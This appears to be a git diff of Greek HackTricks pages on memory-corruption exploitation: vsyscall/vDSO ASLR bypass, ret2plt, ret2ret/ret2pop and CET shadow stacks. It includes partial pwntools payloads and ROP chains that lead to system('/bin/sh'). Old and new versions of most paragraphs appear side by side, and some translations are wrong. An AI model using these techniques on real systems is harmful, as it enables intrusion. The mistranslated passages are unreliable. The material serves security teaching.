(Το παρακάτω παράδειγμα και κώδικας είναι [**από αυτό το άρθρο**](https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html#exploitation))
(Το παρακάτω παράδειγμα και κώδικας είναι [**από αυτήν την ανάλυση**](https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html#exploitation))
Για παράδειγμα, ένας επιτιθέμενος μπορεί να χρησιμοποιήσει τη διεύθυνση `0xffffffffff600800` μέσα σε μια εκμετάλλευση. Ενώ η προσπάθεια να πηδήξετε απευθείας σε μια εντολή `ret` μπορεί να οδηγήσει σε αστάθεια ή κολλήματα μετά την εκτέλεση μερικών gadgets, το να πηδήξετε στην αρχή ενός `syscall` που παρέχεται από την ενότητα **vsyscall** μπορεί να αποδειχθεί επιτυχημένο. Τοποθετώντας προσεκτικά ένα **ROP** gadget που οδηγεί την εκτέλεση σε αυτήν τη διεύθυνση **vsyscall**, ένας επιτιθέμενος μπορεί να επιτύχει την εκτέλεση κώδικα χωρίς την ανάγκη να παρακάμψει το **ASLR** για αυτό το τμήμα της εκμετάλλευσης.
Για παράδειγμα, ένας επιτιθέμενος μπορεί να χρησιμοποιήσει τη διεύθυνση `0xffffffffff600800` μέσα σε μια εκμετάλλευση. Ενώ η προσπάθεια να μεταβείτε απευθείας σε μια εντολή `ret` μπορεί να οδηγήσει σε αστάθεια ή κολάσεις μετά την εκτέλεση μερικών gadgets, η μετάβαση στην αρχή μιας `syscall` που παρέχεται από την ενότητα **vsyscall** μπορεί να αποδειχθεί επιτυχής. Τοποθετώντας προσεκτικά ένα **ROP** gadget που οδηγεί την εκτέλεση σε αυτήν τη διεύθυνση **vsyscall**, ένας επιτιθέμενος μπορεί να επιτύχει την εκτέλεση κώδικα χωρίς την ανάγκη να παρακάμψει το **ASLR** για αυτό το τμήμα της εκμετάλλευσης.
```
ef➤ vmmap
Start End Offset Perm Path
@ -287,22 +288,23 @@ gef➤ x/4i 0xffffffffff600800
```
### vDSO
Σημειώστε λοιπόν πώς είναι δυνατόν να **παρακάμψετε το ASLR καταχρώμενοι το vdso** εάν το πυρήνας έχει μεταγλωττιστεί με το CONFIG\_COMPAT\_VDSO καθώς η διεύθυνση vdso δεν θα τυχαιοποιηθεί. Για περισσότερες πληροφορίες ελέγξτε:
Σημειώστε λοιπόν πώς είναι δυνατόν να **παρακάμψετε το ASLR καταχρηστεύοντας το vdso** εάν το πυρήνας έχει μεταγλωττιστεί με το CONFIG\_COMPAT\_VDSO καθώς η διεύθυνση vdso δεν θα τυχαίοποιηθεί. Για περισσότερες πληροφορίες ελέγξτε:
{% content-ref url="../../rop-return-oriented-programing/ret2vdso.md" %}
[ret2vdso.md](../../rop-return-oriented-programing/ret2vdso.md)
{% endcontent-ref %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα χάκερ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
{% endhint %}

View file

@ -1,24 +1,10 @@
# Ret2plt
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
</details>
## Βασικές Πληροφορίες
Ο στόχος αυτής της τεχνικής θα ήταν να **διαρρεύσετε μια διεύθυνση από μια συνάρτηση από το PLT** για να μπορέσετε να παρακάμψετε το ASLR. Αυτό συμβαίνει επειδή αν, για παράδειγμα, διαρρεύσετε τη διεύθυνση της συνάρτησης `puts` από την βιβλιοθήκη libc, τότε μπορείτε στη συνέχεια να **υπολογίσετε πού βρίσκεται η βάση της `libc`** και να υπολογίσετε τις μετατοπίσεις για να έχετε πρόσβαση σε άλλες συναρτήσεις όπως η **`system`**.
Ο στόχος αυτής της τεχνικής είναι να **διαρρεύσετε μια διεύθυνση από μια συνάρτηση από το PLT** για να μπορέσετε να παρακάμψετε το ASLR. Αυτό συμβαίνει επειδή αν, για παράδειγμα, διαρρεύσετε τη διεύθυνση της συνάρτησης `puts` από την βιβλιοθήκη libc, τότε μπορείτε να **υπολογίσετε πού βρίσκεται η βάση της `libc`** και να υπολογίσετε τις μετατοπίσεις για να έχετε πρόσβαση σε άλλες συναρτήσεις όπως η **`system`**.
Αυτό μπορεί να γίνει με ένα φορτωτή `pwntools` όπως ([**από εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got)):
Αυτό μπορεί να γίνει με ένα payload `pwntools` όπως ([**από εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got)):
```python
# 32-bit ret2plt
payload = flat(
@ -39,10 +25,10 @@ elf.symbols['main']
```
Σημειώστε πώς η **`puts`** (χρησιμοποιώντας τη διεύθυνση από το PLT) καλείται με τη διεύθυνση του `puts` που βρίσκεται στο GOT (Global Offset Table). Αυτό συμβαίνει επειδή μέχρι τη στιγμή που η `puts` εκτυπώνει την καταχώρηση του GOT του `puts`, αυτή η **καταχώρηση θα περιέχει την ακριβή διεύθυνση του `puts` στη μνήμη**.
Επίσης, σημειώστε πώς η διεύθυνση του `main` χρησιμοποιείται στην εκμετάλλευση, έτσι ώστε όταν η `puts` ολοκληρώσει την εκτέλεσή της, το **δυαδικό καλεί ξανά το `main` αντί να τερματίσει** (έτσι η διέρρευση της διεύθυνσης θα παραμείνει έγκυρη).
Επίσης, σημειώστε πώς η διεύθυνση του `main` χρησιμοποιείται στην εκμετάλλευση, έτσι ώστε όταν η `puts` ολοκληρώσει την εκτέλεσή της, το **δυαδικό αρχείο καλεί ξανά το `main` αντί να τερματίσει** (έτσι η διαρροή διεύθυνσης θα παραμείνει έγκυρη).
{% hint style="danger" %}
Σημειώστε πώς για να λειτουργήσει αυτό, το **δυαδικό δεν μπορεί να έχει μεταγλωττιστεί με PIE** ή πρέπει να έχετε **βρει μια διαρροή για να παρακάμψετε το PIE** ώστε να γνωρίζετε τη διεύθυνση του PLT, GOT και main. Διαφορετικά, πρέπει πρώτα να παρακάμψετε το PIE.
Σημειώστε πώς για να λειτουργήσει αυτό, το **δυαδικό αρχείο δεν πρέπει να έχει μεταγλωττιστεί με PIE** ή πρέπει να έχετε **βρει μια διαρροή για να παρακάμψετε το PIE** ώστε να γνωρίζετε τη διεύθυνση του PLT, GOT και main. Διαφορετικά, πρέπει πρώτα να παρακάμψετε το PIE.
{% endhint %}
Μπορείτε να βρείτε ένα [**πλήρες παράδειγμα αυτής της παράκαμψης εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). Αυτή ήταν η τελική εκμετάλλευση από αυτό το **παράδειγμα**:
@ -84,6 +70,6 @@ p.interactive()
## Άλλα παραδείγματα & Αναφορές
* [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
* 64 bit, ενεργοποιημένο ASLR αλλά χωρίς PIE, το πρώτο βήμα είναι να γεμίσετε ένα υπερχείλισμα μέχρι το byte 0x00 του canary και στη συνέχεια να καλέσετε την puts για να το διαρρεύσετε. Με το canary δημιουργείται ένα ROP gadget για να καλέσετε την puts και να διαρρεύσετε τη διεύθυνση της puts από το GOT και ένα ROP gadget για να καλέσετε `system('/bin/sh')`
* 64 bit, ενεργοποιημένο ASLR αλλά χωρίς PIE, το πρώτο βήμα είναι να γεμίσετε ένα υπερχείλιση μέχρι το byte 0x00 του canary για να καλέσετε στη συνέχεια την puts και να το διαρρεύσετε. Με τον canary δημιουργείται ένα ROP gadget για να καλέσετε την puts και να διαρρεύσετε τη διεύθυνση της puts από το GOT και ένα ROP gadget για να καλέσετε `system('/bin/sh')`
* [https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html)
* 64 bits, ενεργοποιημένο ASLR, χωρίς canary, υπερχείλιση στη στοίβα στη main από μια υπο-συνάρτηση. ROP gadget για να καλέσετε την puts και να διαρρεύσετε τη διεύθυνση της puts από το GOT και στη συνέχεια να καλέσετε ένα one gadget.

View file

@ -1,57 +1,59 @@
# Ret2ret & Ret2pop
# Ret2ret & Reo2pop
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks στο AWS)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Συμμετέχετε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
{% endhint %}
## Ret2ret
Ο κύριος **στόχος** αυτής της τεχνικής είναι να προσπαθήσει να **παρακάμψει το ASLR εκμεταλλευόμενο έναν υπάρχοντα δείκτη στη στοίβα**.
Ο κύριος **στόχος** αυτής της τεχνικής είναι να προσπαθήσει να **παρακάμψει το ASLR εκμεταλλευόμενος έναν υπάρχοντα δείκτη στη στοίβα**.
Βασικά, οι υπερχείλισεις στη στοίβα συνήθως προκαλούνται από συμβολοσειρές, και **οι συμβολοσειρές τελειώνουν με ένα μηδενικό byte στο τέλος** στη μνήμη. Αυτό επιτρέπει να προσπαθήσουμε να μειώσουμε τον τόπο που δείχνει ήδη ένας υπάρχον δείκτης στη στοίβα. Έτσι, αν η στοίβα περιείχε `0xbfffffdd`, αυτή η υπερχείλιση θα μπορούσε να τη μετατρέψει σε `0xbfffff00` (σημειώστε το τελευταίο μηδενισμένο byte).
Βασικά, οι υπερχείλισεις στη στοίβα προκαλούνται συνήθως από συμβολοσειρές, και **οι συμβολοσειρές τελειώνουν με ένα μηδενικό byte στο τέλος** στη μνήμη. Αυτό επιτρέπει να προσπαθήσουμε να μειώσουμε τον τόπο που δείχνει ήδη ένας υπάρχον δείκτης στη στοίβα. Έτσι, αν η στοίβα περιείχε `0xbfffffdd`, αυτή η υπερχείλιση θα μπορούσε να τη μετατρέψει σε `0xbfffff00` (σημειώστε το τελευταίο μηδενισμένο byte).
Αν αυτή η διεύθυνση δείχνει στο shellcode μας στη στοίβα, είναι δυνατόν να καταφέρουμε τη ροή να φτάσει σε αυτή τη διεύθυνση με το **προσθήκη διευθύνσεων στην εντολή `ret`** μέχρι να φτάσουμε σε αυτήν.
Αν αυτή η διεύθυνση δείχνει στο shellcode μας στη στοίβα, είναι δυνατόν να κάνουμε τη ροή να φτάσει σε αυτή τη διεύθυνση με το **προσθήκη διευθύνσεων στην εντολή `ret`** μέχρι να φτάσουμε σε αυτήν.
Έτσι η επίθεση θα ήταν ως εξής:
* NOP sled
* Shellcode
* Αντικατάσταση της στοίβας από το EIP με **διευθύνσεις προς την εντολή `ret`** (RET sled)
* 0x00 προστίθεται από τη συμβολοσειρά τροποποιώντας μια διεύθυνση από τη στοίβα κάνοντάς τη να δείχνει στο NOP sled
* Αντικατάσταση της στοίβας από το EIP με **διευθύνσεις προς την `ret` εντολή** (RET sled)
* 0x00 προστίθεται από τη συμβολοσειρά τροποποιώντας μια διεύθυνση από τη στοίβα καθιστώντας τη να δείχνει στο NOP sled
Ακολουθώντας [**αυτόν το σύνδεσμο**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c) μπορείτε να δείτε ένα παράδειγμα ενός ευάλωτου δυαδικού και [**σε αυτόν**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c) την εκμετάλλευση.
## Ret2pop
Σε περίπτωση που μπορείτε να βρείτε έναν **τέλειο δείκτη στη στοίβα που δεν θέλετε να τροποποιήσετε** (στο `ret2ret` αλλάξαμε το τελικό χαμηλότερο byte σε `0x00`), μπορείτε να εκτελέσετε την ίδια επίθεση `ret2ret`, αλλά το **μήκος του RET sled πρέπει να είναι μικρότερο κατά 1** (ώστε το τελικό `0x00` να αντικαθιστά τα δεδομένα ακριβώς πριν τον τέλειο δείκτη), και η **τελευταία** διεύθυνση του RET sled πρέπει να δείχνει σε **`pop <reg>; ret`**.\
Με αυτόν τον τρόπο, τα **δεδομένα πριν τον τέλειο δείκτη θα αφαιρεθούν** από τη στοίβα (αυτά τα δεδομένα επηρεάζονται από το `0x00`) και το **τελικό `ret` θα δείχνει στην τέλεια διεύθυνση** στη στοίβα χωρίς καμία αλλαγή.
Με αυτόν τον τρόπο, τα **δεδομένα πριν τον τέλειο δείκτη θα αφαιρεθούν** από τη στοίβα (αυτά είναι τα δεδομένα που επηρεάζονται από το `0x00`) και το **τελικό `ret` θα δείχνει στην τέλεια διεύθυνση** στη στοίβα χωρίς καμία αλλαγή.
Ακολουθώντας [**αυτόν το σύνδεσμο**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c) μπορείτε να δείτε ένα παράδειγμα ενός ευάλωτου δυαδικού και [**σε αυτόν**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c) την εκμετάλλευση.
Ακολουθώντας [**αυτόν το σύνδεσμο**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c) μπορείτε να δείτε ένα παράδειγμα ενός ευάλωτου δυαδικού και [**σε αυτόν** ](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c)την εκμετάλλευση.
## Αναφορές
* [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md)
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks στο AWS)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Συμμετέχετε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
{% endhint %}

View file

@ -1,22 +1,23 @@
# CET & Shadow Stack
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα χάκερ υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
## Τεχνολογία Επιβολής Ροής Ελέγχου (CET)
**Το CET** είναι μια λειτουργία ασφαλείας που εφαρμόζεται στο επίπεδο υλικού, σχεδιασμένη για να αντιμετωπίζει συνηθισμένες επιθέσεις υπεράκτιας ροής ελέγχου όπως το **Return-Oriented Programming (ROP)** και το **Jump-Oriented Programming (JOP)**. Αυτοί οι τύποι επιθέσεων διαμορφώνουν τη ροή εκτέλεσης ενός προγράμματος για να εκτελέσουν κακόβουλο κώδικα ή να αλυσιδωτούν κομμάτια καλόβουλου κώδικα με έναν τρόπο που εκτελεί μια κακόβουλη ενέργεια.
**CET** είναι μια λειτουργία ασφαλείας που εφαρμόζεται σε επίπεδο υλικού, σχεδιασμένη για να αντιμετωπίζει κοινές επιθέσεις υπεράκτιας ροής ελέγχου όπως **Return-Oriented Programming (ROP)** και **Jump-Oriented Programming (JOP)**. Αυτοί οι τύποι επιθέσεων διαχειρίζονται τη ροή εκτέλεσης ενός προγράμματος για να εκτελέσουν κακόβουλο κώδικα ή να αλυσιδωθούν κομμάτια καλόβουλου κώδικα με έναν τρόπο που εκτελεί μια κακόβουλη ενέργεια.
Το CET εισάγει δύο κύρια χαρακτηριστικά: **Indirect Branch Tracking (IBT)** και **Shadow Stack**.
@ -25,25 +26,26 @@
## Shadow Stack
Το **shadow stack** είναι ένα **αφιερωμένο stack που χρησιμοποιείται αποκλειστικά για την αποθήκευση διευθύνσεων επιστροφής**. Λειτουργεί δίπλα στην κανονική στοίβα αλλά προστατεύεται και κρύβεται από την κανονική εκτέλεση του προγράμματος, κάνοντας δύσκολο για τους επιτιθέμενους να παρεμβάλουν. Ο κύριος στόχος του shadow stack είναι να εξασφαλίσει ότι οποιεσδήποτε τροποποιήσεις στις διευθύνσεις επιστροφής στη συνηθισμένη στοίβα ανιχνεύονται πριν χρησιμοποιηθούν, με την αποτελεσματική μείωση των επιθέσεων ROP.
Το **shadow stack** είναι ένα **αφιερωμένο stack που χρησιμοποιείται αποκλειστικά για την αποθήκευση διευθύνσεων επιστροφής**. Λειτουργεί δίπλα στην κανονική στοίβα αλλά προστατεύεται και κρύβεται από την κανονική εκτέλεση του προγράμματος, κάνοντας δύσκολο για τους επιτιθέμενους να παρεμβαίνουν. Ο κύριος στόχος του shadow stack είναι να εξασφαλίσει ότι οποιεσδήποτε τροποποιήσεις στις διευθύνσεις επιστροφής στη συνηθισμένη στοίβα ανιχνεύονται πριν χρησιμοποιηθούν, μειώνοντας αποτελεσματικά τις επιθέσεις ROP.
## Πώς η CET και το Shadow Stack Αποτρέπουν Επιθέσεις
Οι επιθέσεις **ROP και JOP** βασίζονται στη δυνατότητα να αποκτήσουν τον έλεγχο της ροής ενός εφαρμογής εκμεταλλευόμενοι ευπάθειες που τους επιτρέπουν να αντικαταστήσουν δείκτες ή διευθύνσεις επιστροφής στη στοίβα. Καθοδηγώντας τη ροή σε ακολουθίες υπάρχοντων κώδικα gadgets ή return-oriented programming gadgets, οι επιτιθέμενοι μπορούν να εκτελέσουν αυθαίρετο κώδικα.
* Η δυνατότητα **IBT του CET** καθιστά αυτές τις επιθέσεις σημαντικά πιο δύσκολες εξασφαλίζοντας ότι οι έμμεσες αλλαγές μπορούν να πηδήξουν μόνο σε διευθύνσεις που έχουν επισημανθεί ρητά ως έγκυροι στόχοι. Αυτό καθιστά αδύνατο για τους επιτιθέμενους να εκτελέσουν αυθαίρετα gadgets που είναι διασπαρμένα στο δυαδικό.
* Το **shadow stack**, από την άλλη, εξασφαλίζει ότι ακόμη κι αν ένας επιτιθέμενος μπορεί να αντικαταστήσει μια διεύθυνση επιστροφής στην κανονική στοίβα, η **αντίφαση θα ανιχνευθεί** κατά τη σύγκριση της κατεστραμμένης διεύθυνσης με το ασφαλές αντίγραφο που αποθηκεύεται στο shadow stack κατά την επιστροφή από μια συνάρτηση. Αν οι διευθύνσεις δεν ταιριάζουν, το πρόγραμμα μπορεί να τερματίσει ή να λάβει άλλα μέτρα ασφαλείας, αποτρέποντας την επιτυχία της επίθεσης.
* Η δυνατότητα του **IBT της CET** κάνει αυτές τις επιθέσεις σημαντικά πιο δύσκολες εξασφαλίζοντας ότι οι έμμεσες αλλαγές μπορούν να πηδήξουν μόνο σε διευθύνσεις που έχουν επισημανθεί ρητά ως έγκυροι στόχοι. Αυτό καθιστά αδύνατη την εκτέλεση αυθαίρετων gadgets που είναι διασκορπισμένα στο δυαδικό.
